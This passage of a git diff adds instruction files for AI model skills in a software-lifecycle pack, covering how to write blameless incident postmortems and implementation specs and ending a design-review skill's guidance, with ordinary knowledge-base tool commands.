+- Findings on a **proposal** → **frame-a-proposal** (the argument, alternatives, or motivation needs rework).
+- Findings on a **spec** → **write-a-spec** (goals, non-goals, migration, or test plan needs rework).
+- A finding that has *resolved into a made choice* ("we discussed it; we're going with the synchronous version") → **record-a-decision**, so the choice and its rationale land in `decisions/` with a `supersedes:` link if it overturns a prior ADR.
+- A finding that a **past failure is being reintroduced** → point the author at the specific `postmortems/YYYY-MM-DD-name.md` so the design engages with it explicitly.
+
+Name the skill and the reason in your handoff so the author knows exactly where to go.
+
+---
+
+## Non-goals
+
+- **Not a completeness checklist.** "Section X is empty" is only a finding if the emptiness makes the design unsound (no Alternatives means no evidence the option space was explored — *that's* the finding, not the empty heading).
+- **Not a fact-check.** Whether an individual claim is true is a correctness pass — a different job. You assume the claims and test whether the design that rests on them is sound. Flag a claim only when it's load-bearing AND you have specific reason to doubt it; otherwise route the fact-check separately.
+- **Not a code review.** Reviewing a diff for bugs, style, or implementation quality is out of scope. This skill reviews the design, not its code.
+- **Not a rewrite.** Never edit the artifact under review without being asked. You produce findings; the author changes the design.
+- **Never the final verdict.** The review is advice to the author, who owns the decision. A review that reads as a ruling — "rejected" — overreaches; a review that reads as "here's what would make this stronger, and here's what I'd block on and why" is doing its job.
diff --git a/packages/server/assets/skills/packs/software-lifecycle/write-a-postmortem/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/write-a-postmortem/SKILL.md
new file mode 100644
index 000000000..99047f927
--- /dev/null
+++ b/packages/server/assets/skills/packs/software-lifecycle/write-a-postmortem/SKILL.md
@@ -0,0 +1,202 @@
+---
+name: open-knowledge-pack-software-lifecycle-write-a-postmortem
+description: "Write a blameless incident postmortem under postmortems/ following the Google SRE shape — evidence-based timeline, trigger vs root cause vs symptom, contributing factors, what went well, and owned+dated+verifiable action items. Read when asked to write a postmortem, do an incident review, run a root cause analysis, write up the outage, retro on the outage, or when the user says we had an incident and wants it documented. Do NOT read to frame a proposal (use frame-a-proposal), write a spec (use write-a-spec), record a decision (use record-a-decision), or review a design (use review-a-design) — a postmortem documents an incident that already happened, it does not propose, specify, decide, or critique future work."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
+metadata:
+ pack: "software-lifecycle"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+
+# Write a postmortem
+
+The platform `open-knowledge` skill still governs every markdown operation here — folder scope, the read/write tool surface, linking, and preview. This skill layers postmortem craft on top of it; it does not replace those rules.
+
+A postmortem is not a status update and not a blame ledger. It is a durable, blameless reconstruction of one incident, built from evidence, that makes the system's failure mode legible and produces action items someone will actually verify. The value compounds only when postmortems that share a subsystem link to each other — that is how a repeat class stops being invisible.
+
+This pack scaffolds `proposals/`, `decisions/`, `specs/`, `postmortems/`, and `guides/` at the project root. Postmortems live in `postmortems/`, one file per incident, filename `YYYY-MM-DD-name.md`, template id `postmortem`. Action items that are guide-shaped produce `runbook` stubs in `guides/`.
+
+The knowledge base is markdown owned by OpenKnowledge MCP. Read and list in-scope markdown with `exec` (`exec("ls -A postmortems/")`, `exec("cat postmortems/2024-03-02-auth-outage.md")`, `exec("grep -rln failover .")`) and `search({ query: "..." })`; create and edit with `write` and `edit`; inspect the link graph with `links`. Never use native Read/Edit/Grep/Glob/`cat` on in-scope markdown. Source code, logs, dashboards, deploy history, and chat transcripts are OUTSIDE the knowledge base — read those with the host's native tools. Links are plain markdown relative links `[db failover](./guides/db-failover.md)` — never backticked, never HTML anchors.
+
+---
+
+## Step 0 — Blamelessness gate (stated first because it constrains every later step)
+
+Blameless is a mechanical discipline, not a slogan you paste in the header. If you cannot follow these rules mechanically, the document is not blameless no matter what it says at the top.
+
+- **Name systems and roles, never individuals.** "the deploy pipeline," "the on-call engineer," "the release process" — not "Alice," not "the new hire." A named person turns readers defensive and the analysis stops.
+- **Write the system's affordance, not the person's action.** "The deploy pipeline allowed an unreviewed config to reach production" — not "Alice deployed an unreviewed config." The grammatical subject is the system that permitted the outcome. If your sentence's subject is a person, rewrite it until it is a system.
+- **Treat every human action as the reasonable action given the information available at that moment.** Nobody caused the incident by being careless. Someone did the sensible thing with the signals they had. The analytical question is never "why did they do that?" — it is "what made that look like the right move at the time?" A dashboard that read green, an alert that never fired, a runbook that said to do exactly that. Find the thing that made it reasonable; that thing is a contributing factor.
+
+**HARD GATE.** If the user's framing is blame-seeking — "write up how Alice broke prod," "document who screwed up the deploy" — do not comply as asked. Say so plainly, reframe to the system question, and only then write. Example reframe: "I'll write this blamelessly — the useful question isn't who pushed the config but what let an unreviewed config reach production. That's the finding that prevents a recurrence." Producing a named-culprit document because the user asked for one is the single worst failure this skill can commit; it poisons the postmortem culture the document is supposed to build.
+
+---
+
+## Step 1 — Gather evidence before you narrate
+
+You cannot write a timeline from memory and call it a postmortem. Gather first, narrate second.
+
+Pull, using the host's native tools (these live outside the knowledge base):
+
+- **Alerts and monitoring** — what fired, when, and what did not fire that should have.
+- **Deploy and release history** — what shipped in the hours before, and the exact commit/config.
+- **Dashboards and metrics** — error rate, latency, saturation, the graphs that show onset and recovery.
+- **Chat transcripts and the incident channel** — timestamps of human decisions and the reasoning in the moment.
+- **The code and config as it stood at incident time** — not as it stands now; check out or read the state at the incident SHA.
+
+**HARD GATE — no timeline entry without a source you can point at.** Every timeline line cites its evidence: an alert ID, a deploy timestamp, a graph, a chat message time. If you are reconstructing a moment from someone's recollection and have no artifact, you may still include it — but label it inline: `(reconstructed from recollection, no artifact)`. A postmortem whose timeline silently blends logged fact with memory is worse than one that admits the gap, because the reader cannot tell which numbers to trust.
+
+---
+
+## Step 2 — Scan prior postmortems for the same subsystem
+
+Before writing, find out whether this already happened.
+
+1. `exec("ls -A postmortems/")` — see every prior incident at a glance.
+2. `search({ query: "<subsystem> <failure mode>" })` — semantic match on the affected component (e.g. "database failover replication lag").
+3. `exec("grep -rln <subsystem-keyword> postmortems/")` — exact-term sweep for the service, the error, the mechanism.
+4. `exec("cat postmortems/<candidate>.md")` on the 1–3 closest matches — read their Root cause and Action items.
+
+**If this is a repeat of a class already documented, that is the most important finding in the entire document — and it belongs in the Summary, not buried in Related.** A recurrence means a prior action item did not land, or landed and did not prevent recurrence. State it in the first two sentences: "This is the third connection-pool exhaustion incident in the payments service (see [2024-01-11](./postmortems/2024-01-11-payments-pool.md), [2024-03-02](./postmortems/2024-03-02-payments-pool.md)); the action item from the second was never completed." Repeat classes are where postmortems earn their keep — surface them loudly.
+
+---
+
+## Step 3 — Create the postmortem from the template
+
+```
+write({ document: { path: "postmortems/YYYY-MM-DD-name.md", template: "postmortem" } })
+```
+
+- **The date is the incident date, not today's.** If the outage was 2024-03-02, the filename is `postmortems/2024-03-02-name.md` even if you write it a week later.
+- `name` is a short kebab slug of the affected system and failure: `payments-pool-exhaustion`, `auth-cert-expiry`, `search-index-corruption`.
+- The `postmortem` template scaffolds the SRE shape: Summary / Timeline / Root cause / What went well / Action items. Fill each in the steps below; do not invent a different structure.
+
+---
+
+## Step 4 — Summary: impact first, cause second
+
+The Summary is read by people who will never read the rest. Write it for the org, not for the on-call engineer.
+
+- **Lead with user-visible impact:** who was affected, how, and for how long. "For 47 minutes, roughly 12% of checkout attempts failed with a 500." Not "the connection pool saturated."
+- **Then one sentence of cause,** plain: "A config change halved the pool size while traffic was at peak; the pool exhausted and requests queued past timeout."
+- **If Step 2 found a repeat class, it goes here** (see Step 2).
+
+A summary that leads with the technology ("the connection pool saturated at 14:03") and buries the impact is written for engineers, not for the organization that needs to weigh the incident. Impact is the currency; state it first and in human terms.
+
+---
+
+## Step 5 — Timeline: timestamped, sourced, with the detection gap made explicit
+
+Reconstruct the incident chronologically. Every entry: a timestamp **with time zone**, what happened, and the evidence it came from.
+
+```
+- 13:52 UTC — Config change #4821 merged, halving `pool.max` from 200 to 100. (deploy log, PR #4821)
+- 14:03 UTC — Checkout error rate crosses 5%. (Grafana, checkout-errors panel)
+- 14:19 UTC — First page fires to on-call. (PagerDuty incident #9917)
+- 14:26 UTC — On-call acknowledges, begins investigating a suspected upstream issue. (incident channel)
+- 14:41 UTC — Config change identified as cause; rollback initiated. (incident channel)
+- 14:50 UTC — Error rate returns to baseline. (Grafana)
+```
+
+- **Call out detection time and mitigation time explicitly.** Mark the entry where the incident began, where it was *detected*, and where it was *mitigated*.
+- **The gap between incident start and detection is usually the most actionable number in the document.** Here: onset 14:03, first page 14:19 — sixteen minutes blind. Name that gap in prose right after the timeline: "Detection lagged onset by 16 minutes; there was no alert on checkout error rate, only on host CPU." That sentence is often the source of the highest-leverage action item.
+- Keep entries factual and sourced. Analysis goes in Root cause, not here.
+
+---
+
+## Step 6 — Trigger vs root cause vs symptom
+
+Give the reader the three definitions, then separate them cleanly. Conflating them is the most common way a postmortem produces a shallow fix.
+
+- **Symptom** — what was observed. "Checkout requests returned 500s; the pool showed zero free connections." The symptom is real but it is not the cause; fixing the symptom (restart, scale up) ends the incident without preventing the next one.
+- **Trigger** — the specific thing that set it off. "Config change #4821 halved the pool size at peak traffic." The trigger is necessary to the story but rarely the whole cause.
+- **Root cause** — the condition that made the trigger *sufficient* to cause the outage. Not "a bad config was pushed" — ask what made a bad config *pushable to production at peak with no guard*. The root cause is usually a missing safeguard, not the triggering action.
+
+**Push past the first plausible cause.** If your answer is "someone pushed a bad config," you have named the trigger and stopped. Keep going: What allowed an unreviewed config to reach production? Why was there no validation on pool-size bounds? Why did no canary catch it? Techniques like "five whys" help you keep asking — but they are a prompt, not a proof, and they tend to walk you down a single chain when reality had several. Most incidents have **several contributing factors and one or two root causes**, not a single linear chain. Name the one or two conditions that, if they had not held, the trigger would have been harmless.
+
+---
+
+## Step 7 — Contributing factors
+
+The conditions that widened the blast radius, delayed detection, or slowed recovery. These are not the root cause but they are why the incident was as bad as it was — and each is usually its own action item.
+
+Look specifically for:
+
+- **Missing or misrouted alerts** — the detection gap from Step 5 almost always lands here.
+- **Absent or stale runbook** — no documented recovery path, so the on-call improvised. Check `guides/` and its `last_verified` dates.
+- **Unclear ownership** — nobody knew who owned the failing component, so acknowledgement lagged.
+- **A stale guide** — a runbook that said to do the thing that made it worse, or whose `last_verified` was long past.
+- **Compounding conditions** — peak traffic, a concurrent deploy freeze, a second on-call already paged.
+
+List each as a discrete factor. Vague "communication could have been better" is not a factor; "there was no owner mapping for the payments pool, so the first page went to the wrong team for 7 minutes" is.
+
+---
+
+## Step 8 — What went well (genuinely)
+
+This section is not filler and skipping it quietly is a failure mode. Something limited the damage; name it so the org preserves it.
+
+- What made detection or recovery faster than it could have been? A good dashboard, a fast rollback path, a clear escalation.
+- What held up under load? The circuit breaker that shed load cleanly, the read replica that absorbed traffic.
+- Which prior action item paid off here? If a previous postmortem's fix limited this incident, say so and link it — that is the strongest possible argument for funding action items.
+
+Write it honestly. If genuinely little went well, say that plainly rather than manufacturing praise — "recovery was slow and manual; the one thing that worked was that rollback was a single command." Preserving what worked is as much the point as fixing what didn't.
+
+---
+
+## Step 9 — Action items: owned, dated, verifiable
+
+An action item with no owner is a wish. Every item gets three things or it does not go in the list:
+
+- **An owner** — a role or team (blameless: "the payments team," not a person's name unless the person self-assigns).
+- **A due date** — a real date, not "soon."
+- **A verifiable done-condition** — something you could check and unambiguously call done. "Add an alert on checkout error rate >2% for 3 minutes, tested by triggering it in staging" — not "improve alerting."
+
+Classify each item by what it buys you:
+
+- **Prevention** — stops this exact recurrence (add pool-size validation to the config pipeline).
+- **Mitigation** — limits the damage next time it happens anyway (auto-shed load when the pool saturates).
+- **Detection** — finds it sooner (the missing error-rate alert from Step 5).
+
+A healthy postmortem has items across all three; a list that is all prevention often means the detection and mitigation gaps went unexamined.
+
+**Guide-shaped action items produce runbook stubs.** When an item is "write/fix the recovery runbook for X," don't just name it — stub it now:
+
+```
+write({ document: { path: "guides/db-pool-exhaustion-runbook.md", template: "runbook" } })
+```
+
+Pre-fill the stub with the **symptom** (how you'd recognize this again — "checkout 500s + pool free-connections at zero") and the **relevant timeline excerpt** (the rollback steps that actually worked, lifted from Step 5). Then link the stub from the action item: `- [ ] Payments team, by 2024-03-16: complete the [pool-exhaustion runbook](./guides/db-pool-exhaustion-runbook.md), verified by a tabletop dry-run.` The runbook carries `last_verified` frontmatter so it surfaces in review when it goes stale.
+
+---
+
+## Step 10 — Link and validate
+
+- Add a `## Related` section linking **every prior postmortem that shares a subsystem** (from Step 2), plus the `decisions/` and `specs/` implicated — the decision that set the config policy, the spec for the component that failed. `[2024-01-11 payments pool](./postmortems/2024-01-11-payments-pool.md)`, `[connection-pool sizing decision](./decisions/2023-11-04-pool-sizing.md)`.
+- Link the runbook stubs you created in Step 9 from their action items (done above) and from `## Related`.
+- Update the hub of any folder you touched if it has one (an `INDEX.md` in `postmortems/`) so the new incident shows up in the index — the preview becomes a live progress bar.
+- Validate: `links({ kind: "dead", sourceDocNames: ["postmortems/YYYY-MM-DD-name"] })` returns clean — fix or drop every dead link. Confirm frontmatter is complete and the Summary / Timeline / Root cause / What went well / Action items sections are all filled, none left as template placeholder.
+
+---
+
+## Step 11 — Recap
+
+Close in conversation with four things, tightly:
+
+1. **Impact** in one line, user-visible terms.
+2. **Root cause** in one sentence (the condition, not the trigger).
+3. **The single highest-leverage action item** — usually the one that closes the detection gap or the missing safeguard.
+4. **Whether this is a repeat class** — and if so, why the prior fix didn't hold.
+
+Then point at the file: `postmortems/YYYY-MM-DD-name.md` and any runbook stubs created.
+
+---
+
+## Non-goals
+
+- **Don't assign blame to people.** Systems and roles, never individuals. If a name is load-bearing to the story, the story is framed wrong — find the system affordance instead.
+- **Don't stop at the first plausible cause.** "A bad config was pushed" is a trigger. Keep asking what made the trigger sufficient until you reach a missing safeguard.
+- **Don't write action items you cannot verify.** No owner, no date, no checkable done-condition means it is a wish, not an action item. Leave it out or fix it.
+- **Don't quietly omit "what went well."** Skipping it loses the practices worth preserving. If little went well, say so honestly rather than dropping the section.
+- **Don't use a postmortem to relitigate a design decision.** A postmortem documents what happened and what to change operationally. Arguing that the architecture should have been different belongs in a proposal (`frame-a-proposal`) or a design review (`review-a-design`) — link to it from Related; don't fight it here.
+- **Don't fabricate the timeline.** No entry without a source you can point at; reconstructed-from-memory entries are labelled inline as such.
diff --git a/packages/server/assets/skills/packs/software-lifecycle/write-a-spec/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/write-a-spec/SKILL.md
new file mode 100644
index 000000000..dc82dec9a
--- /dev/null
+++ b/packages/server/assets/skills/packs/software-lifecycle/write-a-spec/SKILL.md
@@ -0,0 +1,298 @@
+---
+name: open-knowledge-pack-software-lifecycle-write-a-spec
+description: "Scope a feature end to end and write an implementation spec under specs/ from an accepted proposal — current-system mapping, goals/non-goals, a Decision Log for one-way-door choices, a live Open Questions backlog, and a real migration + test plan. Read when asked to write a spec, scope this feature, turn this proposal into a spec, plan the implementation, or break this into tasks. Do NOT fire on frame a proposal or write the PRD (sibling frame-a-proposal — a PRD frames a change before it is accepted; this skill starts once one is), record a decision or write the ADR (record-a-decision), write a postmortem (write-a-postmortem), or review this design (review-a-design) — those are separate skills. Complements the platform open-knowledge skill; does not replace it."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
+metadata:
+ pack: "software-lifecycle"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+# Write a spec — scope a feature and commit an implementation spec
+
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers spec-writing craft on top.
+
+A spec is the contract between "we decided to build this" and "here is how it gets built." It is derived from an ACCEPTED proposal, maps the system that exists TODAY before proposing a change, and records its one-way-door choices in a Decision Log so the reasoning survives the author leaving. A spec that skips the current-system mapping, or resolves its open questions silently, is a liability — it reads authoritative while being unfounded.
+
+`specs/` uses a folder-per-spec shape: `specs/NNN-name/` holding `spec.md`, and (when the work is actually going to be built) `plan.md` + `tasks.md`. The pack ships all three templates. `status` on `spec.md` flows `draft → ... → shipped`.
+
+## Autonomy mode
+
+| Mode | Behavior | How entered |
+|---|---|---|
+| **Supervised** (default) | STOP at the Step 2 scoping gate for user confirmation of Goals / Non-goals / change shape. Route open decisions interactively. | Default when a user drives the session. |
+| **Headless** | Auto-confirm the scoping proposal after presenting it; auto-select routing decisions. All other gates (parent-proposal check, current-system mapping, Decision Log, validation, grounding) still enforced. | Explicit "don't wait for me", "just proceed", "run headless" — or non-interactive container environments. |
+
+In headless mode, propose the scope AND proceed immediately; record in the Decision Log that scope was auto-confirmed without user sign-off.
+
+---
+
+## Mandatory execution order
+
+**Hard gates — do NOT skip ahead.** If you find yourself about to write `## Design` before you have read the actual code the change touches, STOP — you skipped Step 1.
+
+0. **Find the parent proposal.** No accepted proposal behind a spec is a smell.
+1. **Map the CURRENT system.** Read real code + prior specs + guides. Write what exists today, with pointers.
+2. **Scoping STOP gate.** Propose Goals / Non-goals / change shape. In Supervised mode, WAIT.
+3. **Create the spec folder + `spec.md`** from the `spec` template; allocate `NNN` by listing, not guessing.
+4. **Fill Goals / Non-goals** — non-goals temporal, each with a reason.
+5. **Design** — options considered, one chosen, why; one-way doors flow to the Decision Log.
+6. **Decision Log** — append the section; each entry survives the author.
+7. **Open Questions** — a live backlog, each with its closing evidence and decider.
+8. **Migration + Test plan** — real states, real tiers, explicit gaps.
+9. **`plan.md` + `tasks.md`** — only when the spec is going to be built.
+10. **Link + validate** — backlinks, dead-links clean, frontmatter complete.
+11. **Recap** — and what would move it out of `draft`.
+
+---
+
+## Step 0: Find the parent proposal
+
+A spec implements a decision that was already made. Before scoping anything, find the accepted proposal it derives from.
+
+1. `exec("ls -A proposals/")` — surface the proposal set with frontmatter enrichment.
+2. `exec("ls -A decisions/")` — an accepted proposal often has a matching frozen record here.
+3. `search({ query: "<feature name or problem statement>" })` — semantic match across both folders when the name differs from the filename.
+4. For the 1-2 strongest candidates, `exec("cat proposals/0004-x.md")` — read the accepted design and its unresolved questions in full; those unresolved questions become your Open Questions seed.
+
+**Route on what you find:**
+
+- **Accepted proposal exists** → note its path; it becomes `parent_proposal:` in the spec frontmatter. Proceed to Step 1.
+- **Proposal exists but is not accepted** (`draft`, `fcp`, `rejected`) → STOP. A spec for an un-accepted proposal builds on sand. Surface this: "The proposal `<path>` is at `status: <x>`, not accepted. A spec should follow an accepted proposal. Want me to help get it accepted first, or proceed anyway?"
+- **No proposal at all** → say so plainly: "There's no accepted proposal behind this feature. Specs derive from proposals — the proposal is where we argue *whether* to build; the spec is *how*. I can frame a proposal first (that's the `frame-a-proposal` skill), or, if you acknowledge the risk, proceed straight to a spec and record that we skipped the proposal." If the user opts to proceed, record that choice in the Decision Log (Step 6) with its rationale. Do not silently skip it.
+
+**HARD GATE:** do not create `spec.md` until the parent-proposal question is resolved one way or the other and, if skipped, acknowledged by the user.
+
+---
+
+## Step 1: Map the CURRENT system before designing the change
+
+The most common spec failure is designing against an imagined system. You cannot write a sound `## Design` or a real `## Migration` without knowing what the running system does today.
+
+**Read the code that exists — with native host tools.** Source code (`.ts`, `.py`, config, schema) lives OUTSIDE the knowledge base, so read it with the host's native file tools (Read / Grep / Glob), not OpenKnowledge verbs. Trace the actual flow end to end: the entry points, the modules the change will touch, the data shapes, the call chain across boundaries.
+
+**Read the knowledge base with OpenKnowledge verbs.** Prior specs and guides ARE in-scope markdown:
+
+- `exec("ls -A specs/")` — see what's been specced before; a sibling spec may already map the same subsystem.
+- `exec("cat specs/003-x/spec.md")` — read the closest prior spec's Design + Migration for the shape and the pointers.
+- `exec("ls -A guides/")` then `exec("cat guides/<runbook>.md")` — runbooks describe operational reality the code alone won't tell you.
+- `search({ query: "<subsystem name>" })` — surface adjacent decisions and postmortems that constrain the design.
+
+**Write what exists today into the spec's Design section as a "Current system" subsection first**, with file/module pointers (`src/foo/bar.ts`, the `handleX` function, the `widgets` table). Concrete pointers are what make the spec verifiable and let a reviewer check your map against the code.
+
+**HARD GATE:** do not draft the proposed `## Design` until the current-system map is written with real pointers. If you cannot point at where a behavior lives today, you do not yet understand it well enough to change it.
+
+---
+
+## Step 2: Scoping STOP gate
+
+Before writing the spec body, propose the scope and get confirmation. Getting Goals / Non-goals wrong is expensive to unwind after the spec is drafted.
+
+Present this to the user:
+
+```
+## Proposed scope
+
+**Parent proposal:** [path — or "none; proceeding without one per your acknowledgement"]
+
+**Goals** (what this spec delivers):
+1. [Goal — an observable capability or change]
+2. ...
+
+**Non-goals** (explicitly out of THIS spec, and why):
+1. [Thing] — deferred because [reason]
+2. ...
+
+**Shape of the change:** [2-4 sentences: the approach at a high level, and which modules from the Step 1 map it touches]
+
+**Open questions I already see:** [1-3 — the ones that will gate the design]
+```
+
+**Supervised mode:** STOP and WAIT for confirmation. Do not create the spec folder until the user confirms or adjusts.
+
+**Headless mode:** present the scope AND proceed; note the auto-confirmation in the Decision Log.
+
+Scoping discipline:
+- If the feature is vague, narrow it here, not in the Design. "Which surfaces? For whom? What's explicitly deferred?"
+- Name the beneficiary of each goal — a goal with no one who benefits is scope creep.
+- Do not invent requirements the proposal never established (see Non-goals for this skill). If a goal isn't traceable to the parent proposal, flag it and ask.
+
+---
+
+## Step 3: Create the spec folder + `spec.md`
+
+Allocate the next `NNN` by **listing, not guessing**:
+
+1. `exec("ls -A specs/")` — read the existing `NNN-name/` folders. Take the highest `NNN`, add one, zero-pad to the existing width (`003` → `004`).
+2. Choose a short kebab-case name from the feature: `specs/004-payment-retries/`.
+3. Create the spec:
+
+```
+write({ document: { path: "specs/004-payment-retries/spec.md", template: "spec" } })
+```
+
+The `spec` template ships frontmatter and these H2 sections in order: `## Goals`, `## Non-goals`, `## Design`, `## Migration`, `## Test plan`. Fill the frontmatter now:
+
+```yaml
+type: spec
+description: "<one line: what this spec delivers>"
+status: draft
+owner: <user>
+target_release:
+created: <today YYYY-MM-DD>
+parent_proposal: ./proposals/0004-payment-retries.md # or note the skip
+tags: [spec]
+```
+
+Set `parent_proposal:` to the relative markdown path from Step 0. Leave `target_release:` blank until the plan exists.
+
+---
+
+## Step 4: Fill Goals and Non-goals
+
+Edit the `## Goals` and `## Non-goals` sections via `edit({ ... })`.
+
+**Goals** — each an observable outcome, not an implementation detail. "Failed payments retry with backoff and surface a final status" is a goal; "add a `retryCount` column" is a design choice. Tie each goal to the beneficiary and, where possible, to the parent proposal's motivation.
+
+**Non-goals are TEMPORAL, not eternal.** Frame each as "not in THIS spec" with the reason it's deferred — never as "we will never do this." "Multi-currency retries — deferred; the retry engine is currency-agnostic and multi-currency is its own proposal" tells a future reader the door is open and why it's closed for now. "We don't support multi-currency" reads as a permanent product stance the spec has no authority to make. Every non-goal carries its *why*.
+
+---
+
+## Step 5: Design
+
+Edit `## Design`. It has two layers, in order:
+
+1. **Current system** (from Step 1) — what exists today, with file/module pointers. Keep this; it is what makes the proposed change legible.
+2. **Proposed change** — the options you considered, the one you chose, and why.
+
+For each meaningful design fork, write: the options on the table, the one chosen, and the reasoning. Name the trade-off you accepted. A design that presents only the chosen option hides the fact that a choice was made — and hides it from the reviewer whose job is to pressure-test it.
+
+**Every one-way-door choice goes to the Decision Log (Step 6).** A one-way door is a decision that is expensive or impossible to reverse once code ships on it: a wire format, a schema migration that drops data, a public API shape, a security boundary. Reversible choices (an internal helper name, a log level) do not need a log entry — keep the log to decisions that will cost real money to undo.
+
+---
+
+## Step 6: Decision Log
+
+The `spec` template does NOT ship a Decision Log — **you append it.** Add an `## Decision Log` section to `spec.md` after `## Test plan`. This is the single most valuable artifact in the spec: it is what a new owner reads to understand why the system is shaped the way it is, without having to re-derive it or ask someone who has left.
+
+Each entry is a short block:
+
+```markdown
+### DL-1: <the question, as a question>
+
+- **Options:** A [...], B [...], C [...]
+- **Choice:** B
+- **Rationale:** [why B beat A and C — the trade-off accepted, the evidence]
+- **Date:** YYYY-MM-DD
+- **Reverses if:** [what new fact or condition would force revisiting this]
+```
+
+Discipline:
+- One entry per one-way-door choice from Step 5, plus any process decision (e.g. "proceeded without a parent proposal per the user's acknowledgement on <date>").
+- The `Reverses if` line is not optional — a decision with no stated reversal condition can never be re-examined honestly.
+- This log is scoped to THIS spec. It is not the project's decision record. Recording an architecture decision in `decisions/` is the sibling `record-a-decision` skill's job; do not write ADRs here.
+
+---
+
+## Step 7: Open Questions
+
+A spec ships with its open questions MARKED, not silently resolved. Guessing at an answer and writing it as settled is how a spec misleads everyone downstream.
+
+Append an `## Open Questions` section (the template does not ship one). Keep it as a live backlog:
+
+```markdown
+### OQ-1: <the unresolved question>
+
+- **Blocks:** [which goal / design decision this gates, or "nothing — nice to know"]
+- **Closed by:** [the evidence that would resolve it — a benchmark, a load test, a product call, a spike]
+- **Decider:** [who has authority to close it — a role, not a name that will rot]
+- **Status:** open
+```
+
+Discipline:
+- If a question blocks a Decision Log entry, say so in both places — the log entry stays provisional until the question closes.
+- Prefer "we don't know yet, here's how we'd find out" over a confident guess. The boundary of what you know is information; a fabricated answer is a hazard.
+- As questions close during the spec's life, flip `Status: open` to `resolved → DL-N` and move the resolution into the Decision Log — don't just delete the question.
+
+---
+
+## Step 8: Migration and Test plan
+
+Both real, not decorative. A migration section that says "migrate the data" and a test plan that says "add tests" are worse than nothing — they signal coverage that doesn't exist.
+
+**`## Migration`** — name the STATES a live system passes through, in order, and what is true at each. A running system does not teleport from old to new; it lives in intermediate states where both must work:
+
+- The states, e.g.: (1) new code deployed, feature flag off, old path live. (2) backfill runs, both schemas readable. (3) flag on for a cohort, dual-write. (4) flag on globally. (5) old path + old column removed.
+- What is reversible at each state and where the point of no return is (link that point to its Decision Log entry).
+- Data at rest: what gets backfilled, what gets dropped, whether the drop is recoverable.
+- If the change needs no migration (net-new, no live data, no deployed callers), say so explicitly and why — don't leave the section empty.
+
+**`## Test plan`** — name WHAT is verified and at WHICH tier, and explicitly what is NOT verifiable and why:
+
+- Per goal: the tier that proves it — unit (a pure function's edges), integration (a component against its real collaborators), end-to-end (the user-visible flow), contract (a boundary both sides must honor).
+- The failure modes worth a test, not just the happy path — the retry that exhausts, the migration that half-completes, the concurrent write.
+- **What cannot be verified before ship, and why** — a production-only load characteristic, a third-party behavior you can't stage, a race that only manifests under real traffic. Naming the gap is what lets the reviewer decide whether it's acceptable; hiding it is how the gap becomes an incident.
+
+---
+
+## Step 9: `plan.md` and `tasks.md`
+
+**Only when the spec is actually going to be built.** A spec at `status: draft` that may not be implemented does not need these yet — creating them early produces stale scaffolding. Create them when the spec is greenlit for implementation.
+
+```
+write({ document: { path: "specs/004-payment-retries/plan.md", template: "spec-plan" } })
+write({ document: { path: "specs/004-payment-retries/tasks.md", template: "spec-tasks" } })
+```
+
+Set `parent_spec: ./spec.md` in both frontmatter blocks.
+
+**`plan.md`** (`## Approach`, `## Phases`, `## Risks + unknowns`, `## Dependencies`, `## Rollout`) — the how-to-build sequenced into phases. `Risks + unknowns` pulls from the Open Questions that block implementation; `Rollout` mirrors the Migration states.
+
+**`tasks.md`** (`## Tasks` checklist, `## Done when`, `## Out of scope`) — the work broken down. Two rules:
+- **Ordered by dependency.** A task that depends on another comes after it. The reader should be able to work top to bottom.
+- **Each task independently verifiable.** "Add retry backoff to the payment worker — verified by the exhaustion integration test" is a task; "improve reliability" is not. If you can't state how a task is checked, it's not decomposed enough.
+
+`## Done when` restates the spec's Goals as the completion bar. `## Out of scope` mirrors the Non-goals.
+
+---
+
+## Step 10: Link and validate
+
+Specs that don't link back are islands. Wire the spec into the graph and prove it's clean:
+
+- **Backlink the parent proposal** inline in the spec body: `derived from [Payment retries proposal](./proposals/0004-payment-retries.md)`. Plain markdown relative link — never backticked, never an HTML anchor.
+- **Link every decision the spec depends on** — if the design rests on a frozen record in `decisions/`, link it where it's relied upon.
+- Update the parent proposal (and any hub) to link forward to this spec, so the spec is discoverable via backlinks. `links({ kind: "backlinks", ... })` to confirm the reverse edge registered.
+- `links({ kind: "dead", sourceDocNames: ["specs/004-payment-retries/spec"] })` — returns clean, zero dead links. Fix or remove every one.
+- Frontmatter complete: `type`, `description`, `status`, `owner`, `parent_proposal`, `created`, `tags` all present.
+
+---
+
+## Step 11: Recap
+
+Close the loop with the user:
+
+```
+## Recap
+
+- Spec at specs/004-payment-retries/spec.md, status: draft
+- Derived from [proposal] (or: proceeding without one, logged as DL-N)
+- N goals, M non-goals (all temporal, with reasons)
+- Decision Log: K one-way-door choices recorded
+- Open Questions: J open — [name the ones that block the design]
+- Migration: [one line] · Test plan: [what's covered / what can't be]
+
+**To move out of `draft`:** [the specific things — usually: close the design-blocking open questions, get the owner's sign-off, and create plan.md + tasks.md once greenlit for build]
+```
+
+State plainly what is still open. A spec's honesty about its own gaps is what makes it trustworthy.
+
+---
+
+## Non-goals
+
+- **Don't invent requirements the proposal didn't establish.** The spec is *how*, not a second bite at *whether*. A goal with no root in the parent proposal is scope creep — flag it, don't smuggle it in.
+- **Don't record decisions in `decisions/`.** That's the sibling `record-a-decision` skill. The spec's Decision Log is scoped to THIS spec's one-way doors; it is not the project's ADR record.
+- **Don't skip the current-system mapping.** Designing against an imagined system is the top failure mode. No `## Design` before Step 1's map with real pointers.
+- **Don't mark `shipped` before the work ships.** `status` reflects reality. A spec is `draft` until built, and only `shipped` once the code is live — never aspirationally.
+- **Don't write the postmortem.** If the shipped feature breaks, the incident write-up is the `write-a-postmortem` skill's job, not an addendum here.
+- **Don't silently resolve Open Questions.** A marked open question is information; a fabricated answer is a hazard. Ship the spec with its unknowns visible.
diff --git a/packages/server/assets/skills/packs/worldbuilding/SKILL.md b/packages/server/assets/skills/packs/worldbuilding/SKILL.md
index c95335ac5..e8e9b060d 100644
